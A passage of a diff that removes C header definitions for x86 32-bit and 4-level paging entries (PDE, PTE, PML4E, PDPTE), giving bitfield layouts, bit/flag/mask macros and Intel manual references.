PDE_4MB_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t dirty : 1; -#define PDE_4MB_32_DIRTY_BIT 6 -#define PDE_4MB_32_DIRTY_FLAG 0x40 -#define PDE_4MB_32_DIRTY_MASK 0x01 -#define PDE_4MB_32_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page table). - */ - uint32_t large_page : 1; -#define PDE_4MB_32_LARGE_PAGE_BIT 7 -#define PDE_4MB_32_LARGE_PAGE_FLAG 0x80 -#define PDE_4MB_32_LARGE_PAGE_MASK 0x01 -#define PDE_4MB_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint32_t global : 1; -#define PDE_4MB_32_GLOBAL_BIT 8 -#define PDE_4MB_32_GLOBAL_FLAG 0x100 -#define PDE_4MB_32_GLOBAL_MASK 0x01 -#define PDE_4MB_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PDE_4MB_32_IGNORED_1_BIT 9 -#define PDE_4MB_32_IGNORED_1_FLAG 0xE00 -#define PDE_4MB_32_IGNORED_1_MASK 0x07 -#define PDE_4MB_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t pat : 1; -#define PDE_4MB_32_PAT_BIT 12 -#define PDE_4MB_32_PAT_FLAG 0x1000 -#define PDE_4MB_32_PAT_MASK 0x01 -#define PDE_4MB_32_PAT(_) (((_) >> 12) & 0x01) - - /** - * [Bits 20:13] Bits (M-1):32 of physical address of the 4-MByte page referenced by this entry. - */ - uint32_t page_frame_number_low : 8; -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_BIT 13 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_FLAG 0x1FE000 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_MASK 0xFF -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW(_) (((_) >> 13) & 0xFF) - uint32_t reserved1 : 1; - - /** - * [Bits 31:22] Bits 31:22 of physical address of the 4-MByte page referenced by this entry. - */ - uint32_t page_frame_number_high : 10; -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_BIT 22 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_FLAG 0xFFC00000 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_MASK 0x3FF -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH(_) (((_) >> 22) & 0x3FF) - }; - - uint32_t flags; -} pde_4mb_32; - -/** - * @brief Format of a 32-Bit Page-Directory Entry that References a Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page table. - */ - uint32_t present : 1; -#define PDE_32_PRESENT_BIT 0 -#define PDE_32_PRESENT_FLAG 0x01 -#define PDE_32_PRESENT_MASK 0x01 -#define PDE_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PDE_32_WRITE_BIT 1 -#define PDE_32_WRITE_FLAG 0x02 -#define PDE_32_WRITE_MASK 0x01 -#define PDE_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PDE_32_SUPERVISOR_BIT 2 -#define PDE_32_SUPERVISOR_FLAG 0x04 -#define PDE_32_SUPERVISOR_MASK 0x01 -#define PDE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PDE_32_ACCESSED_BIT 5 -#define PDE_32_ACCESSED_FLAG 0x20 -#define PDE_32_ACCESSED_MASK 0x01 -#define PDE_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Ignored. - */ - uint32_t ignored_1 : 1; -#define PDE_32_IGNORED_1_BIT 6 -#define PDE_32_IGNORED_1_FLAG 0x40 -#define PDE_32_IGNORED_1_MASK 0x01 -#define PDE_32_IGNORED_1(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] If CR4.PSE = 1, must be 0 (otherwise, this entry maps a 4-MByte page); otherwise, ignored. - */ - uint32_t large_page : 1; -#define PDE_32_LARGE_PAGE_BIT 7 -#define PDE_32_LARGE_PAGE_FLAG 0x80 -#define PDE_32_LARGE_PAGE_MASK 0x01 -#define PDE_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint32_t ignored_2 : 4; -#define PDE_32_IGNORED_2_BIT 8 -#define PDE_32_IGNORED_2_FLAG 0xF00 -#define PDE_32_IGNORED_2_MASK 0x0F -#define PDE_32_IGNORED_2(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PDE_32_PAGE_FRAME_NUMBER_BIT 12 -#define PDE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PDE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PDE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pde_32; - -/** - * @brief Format of a 32-Bit Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-KByte page. - */ - uint32_t present : 1; -#define PTE_32_PRESENT_BIT 0 -#define PTE_32_PRESENT_FLAG 0x01 -#define PTE_32_PRESENT_MASK 0x01 -#define PTE_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PTE_32_WRITE_BIT 1 -#define PTE_32_WRITE_FLAG 0x02 -#define PTE_32_WRITE_MASK 0x01 -#define PTE_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PTE_32_SUPERVISOR_BIT 2 -#define PTE_32_SUPERVISOR_FLAG 0x04 -#define PTE_32_SUPERVISOR_MASK 0x01 -#define PTE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PTE_32_ACCESSED_BIT 5 -#define PTE_32_ACCESSED_FLAG 0x20 -#define PTE_32_ACCESSED_MASK 0x01 -#define PTE_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t dirty : 1; -#define PTE_32_DIRTY_BIT 6 -#define PTE_32_DIRTY_FLAG 0x40 -#define PTE_32_DIRTY_MASK 0x01 -#define PTE_32_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t pat : 1; -#define PTE_32_PAT_BIT 7 -#define PTE_32_PAT_FLAG 0x80 -#define PTE_32_PAT_MASK 0x01 -#define PTE_32_PAT(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint32_t global : 1; -#define PTE_32_GLOBAL_BIT 8 -#define PTE_32_GLOBAL_FLAG 0x100 -#define PTE_32_GLOBAL_MASK 0x01 -#define PTE_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PTE_32_IGNORED_1_BIT 9 -#define PTE_32_IGNORED_1_FLAG 0xE00 -#define PTE_32_IGNORED_1_MASK 0x07 -#define PTE_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PTE_32_PAGE_FRAME_NUMBER_BIT 12 -#define PTE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PTE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PTE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pte_32; - -/** - * @brief Format of a common Page-Table Entry - */ -typedef union -{ - struct - { - uint32_t present : 1; -#define PT_ENTRY_32_PRESENT_BIT 0 -#define PT_ENTRY_32_PRESENT_FLAG 0x01 -#define PT_ENTRY_32_PRESENT_MASK 0x01 -#define PT_ENTRY_32_PRESENT(_) (((_) >> 0) & 0x01) - uint32_t write : 1; -#define PT_ENTRY_32_WRITE_BIT 1 -#define PT_ENTRY_32_WRITE_FLAG 0x02 -#define PT_ENTRY_32_WRITE_MASK 0x01 -#define PT_ENTRY_32_WRITE(_) (((_) >> 1) & 0x01) - uint32_t supervisor : 1; -#define PT_ENTRY_32_SUPERVISOR_BIT 2 -#define PT_ENTRY_32_SUPERVISOR_FLAG 0x04 -#define PT_ENTRY_32_SUPERVISOR_MASK 0x01 -#define PT_ENTRY_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - uint32_t page_level_write_through : 1; -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - uint32_t page_level_cache_disable : 1; -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint32_t accessed : 1; -#define PT_ENTRY_32_ACCESSED_BIT 5 -#define PT_ENTRY_32_ACCESSED_FLAG 0x20 -#define PT_ENTRY_32_ACCESSED_MASK 0x01 -#define PT_ENTRY_32_ACCESSED(_) (((_) >> 5) & 0x01) - uint32_t dirty : 1; -#define PT_ENTRY_32_DIRTY_BIT 6 -#define PT_ENTRY_32_DIRTY_FLAG 0x40 -#define PT_ENTRY_32_DIRTY_MASK 0x01 -#define PT_ENTRY_32_DIRTY(_) (((_) >> 6) & 0x01) - uint32_t large_page : 1; -#define PT_ENTRY_32_LARGE_PAGE_BIT 7 -#define PT_ENTRY_32_LARGE_PAGE_FLAG 0x80 -#define PT_ENTRY_32_LARGE_PAGE_MASK 0x01 -#define PT_ENTRY_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint32_t global : 1; -#define PT_ENTRY_32_GLOBAL_BIT 8 -#define PT_ENTRY_32_GLOBAL_FLAG 0x100 -#define PT_ENTRY_32_GLOBAL_MASK 0x01 -#define PT_ENTRY_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PT_ENTRY_32_IGNORED_1_BIT 9 -#define PT_ENTRY_32_IGNORED_1_FLAG 0xE00 -#define PT_ENTRY_32_IGNORED_1_MASK 0x07 -#define PT_ENTRY_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 31:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_BIT 12 -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PT_ENTRY_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pt_entry_32; - -/** - * @defgroup paging_structures_entry_count_32 \ - * Paging structures entry counts - * - * Paging structures entry counts. - * @{ - */ -#define PDE_ENTRY_COUNT_32 0x00000400 -#define PTE_ENTRY_COUNT_32 0x00000400 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup paging_64 \ - * 64-Bit (4-Level) Paging - * - * A logical processor uses 4-level paging if CR0.PG = 1, CR4.PAE = 1, and IA32_EFER.LME = 1. With 4-level paging, linear - * address are translated using a hierarchy of in-memory paging structures located using the contents of CR3. 4-level - * paging translates 48-bit linear addresses to 52-bit physical addresses. Although 52 bits corresponds to 4 PBytes, linear - * addresses are limited to 48 bits; at most 256 TBytes of linear-address space may be accessed at any given time. - * 4-level paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to - * locate the first paging-structure, the PML4 table. Use of CR3 with 4-level paging depends on whether processcontext - * identifiers (PCIDs) have been enabled by setting CR4.PCIDE. - * - * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) - * @{ - */ - /** - * @brief Format of a 4-Level PML4 Entry (PML4E) that References a Page-Directory-Pointer Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page-directory-pointer table. - */ - uint64_t present : 1; -#define PML4E_64_PRESENT_BIT 0 -#define PML4E_64_PRESENT_FLAG 0x01 -#define PML4E_64_PRESENT_MASK 0x01 -#define PML4E_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 512-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PML4E_64_WRITE_BIT 1 -#define PML4E_64_WRITE_FLAG 0x02 -#define PML4E_64_WRITE_MASK 0x01 -#define PML4E_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PML4E_64_SUPERVISOR_BIT 2 -#define PML4E_64_SUPERVISOR_FLAG 0x04 -#define PML4E_64_SUPERVISOR_MASK 0x01 -#define PML4E_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page-directory-pointer table - * referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page-directory-pointer table - * referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PML4E_64_ACCESSED_BIT 5 -#define PML4E_64_ACCESSED_FLAG 0x20 -#define PML4E_64_ACCESSED_MASK 0x01 -#define PML4E_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Reserved (must be 0). - */ - uint64_t must_be_zero : 1; -#define PML4E_64_MUST_BE_ZERO_BIT 7 -#define PML4E_64_MUST_BE_ZERO_FLAG 0x80 -#define PML4E_64_MUST_BE_ZERO_MASK 0x01 -#define PML4E_64_MUST_BE_ZERO(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PML4E_64_IGNORED_1_BIT 8 -#define PML4E_64_IGNORED_1_FLAG 0xF00 -#define PML4E_64_IGNORED_1_MASK 0x0F -#define PML4E_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PML4E_64_PAGE_FRAME_NUMBER_BIT 12 -#define PML4E_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PML4E_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PML4E_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PML4E_64_IGNORED_2_BIT 52 -#define PML4E_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PML4E_64_IGNORED_2_MASK 0x7FF -#define PML4E_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 512-GByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PML4E_64_EXECUTE_DISABLE_BIT 63 -#define PML4E_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PML4E_64_EXECUTE_DISABLE_MASK 0x01 -#define PML4E_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pml4e_64; - -/** - * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 1-GByte page. - */ - uint64_t present : 1; -#define PDPTE_1GB_64_PRESENT_BIT 0 -#define PDPTE_1GB_64_PRESENT_FLAG 0x01 -#define PDPTE_1GB_64_PRESENT_MASK 0x01 -#define PDPTE_1GB_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDPTE_1GB_64_WRITE_BIT 1 -#define PDPTE_1GB_64_WRITE_FLAG 0x02 -#define PDPTE_1GB_64_WRITE_MASK 0x01 -#define PDPTE_1GB_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDPTE_1GB_64_SUPERVISOR_BIT 2 -#define PDPTE_1GB_64_SUPERVISOR_FLAG 0x04 -#define PDPTE_1GB_64_SUPERVISOR_MASK 0x01 -#define PDPTE_1GB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 1-GByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 1-GByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDPTE_1GB_64_ACCESSED_BIT 5 -#define PDPTE_1GB_64_ACCESSED_FLAG 0x20 -#define PDPTE_1GB_64_ACCESSED_MASK 0x01 -#define PDPTE_1GB_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PDPTE_1GB_64_DIRTY_BIT 6 -#define PDPTE_1GB_64_DIRTY_FLAG 0x40 -#define PDPTE_1GB_64_DIRTY_MASK 0x01 -#define PDPTE_1GB_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). - */ - uint64_t large_page : 1; -#define PDPTE_1GB_64_LARGE_PAGE_BIT 7 -#define PDPTE_1GB_64_LARGE_PAGE_FLAG 0x80 -#define PDPTE_1GB_64_LARGE_PAGE_MASK 0x01 -#define PDPTE_1GB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PDPTE_1GB_64_GLOBAL_BIT 8 -#define PDPTE_1GB_64_GLOBAL_FLAG 0x100 -#define PDPTE_1GB_64_GLOBAL_MASK 0x01 -#define PDPTE_1GB_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PDPTE_1GB_64_IGNORED_1_BIT 9 -#define PDPTE_1GB_64_IGNORED_1_FLAG 0xE00 -#define PDPTE_1GB_64_IGNORED_1_MASK 0x07 -#define PDPTE_1GB_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 1-GByte page referenced by this entry. - * - * @note The PAT is supported on all processors that support 4-level paging. - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PDPTE_1GB_64_PAT_BIT 12 -#define PDPTE_1GB_64_PAT_FLAG 0x1000 -#define PDPTE_1GB_64_PAT_MASK 0x01 -#define PDPTE_1GB_64_PAT(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 17; - - /** - * [Bits 47:30] Physical address of the 1-GByte page referenced by this entry. - */ - uint64_t page_frame_number : 18; -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_BIT 30 -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_MASK 0x3FFFF -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PDPTE_1GB_64_IGNORED_2_BIT 52 -#define PDPTE_1GB_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PDPTE_1GB_64_IGNORED_2_MASK 0x7F -#define PDPTE_1GB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PDPTE_1GB_64_PROTECTION_KEY_BIT 59 -#define PDPTE_1GB_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PDPTE_1GB_64_PROTECTION_KEY_MASK 0x0F -#define PDPTE_1GB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDPTE_1GB_64_EXECUTE_DISABLE_BIT 63 -#define PDPTE_1GB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDPTE_1GB_64_EXECUTE_DISABLE_MASK 0x01 -#define PDPTE_1GB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pdpte_1gb_64; - -/** - * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that References a Page Directory - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page directory. - */ - uint64_t present : 1; -#define PDPTE_64_PRESENT_BIT 0 -#define PDPTE_64_PRESENT_FLAG 0x01 -#define PDPTE_64_PRESENT_MASK 0x01 -#define PDPTE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDPTE_64_WRITE_BIT 1 -#define PDPTE_64_WRITE_FLAG 0x02 -#define PDPTE_64_WRITE_MASK 0x01 -#define PDPTE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDPTE_64_SUPERVISOR_BIT 2 -#define PDPTE_64_SUPERVISOR_FLAG 0x04 -#define PDPTE_64_SUPERVISOR_MASK 0x01 -#define PDPTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page directory referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define 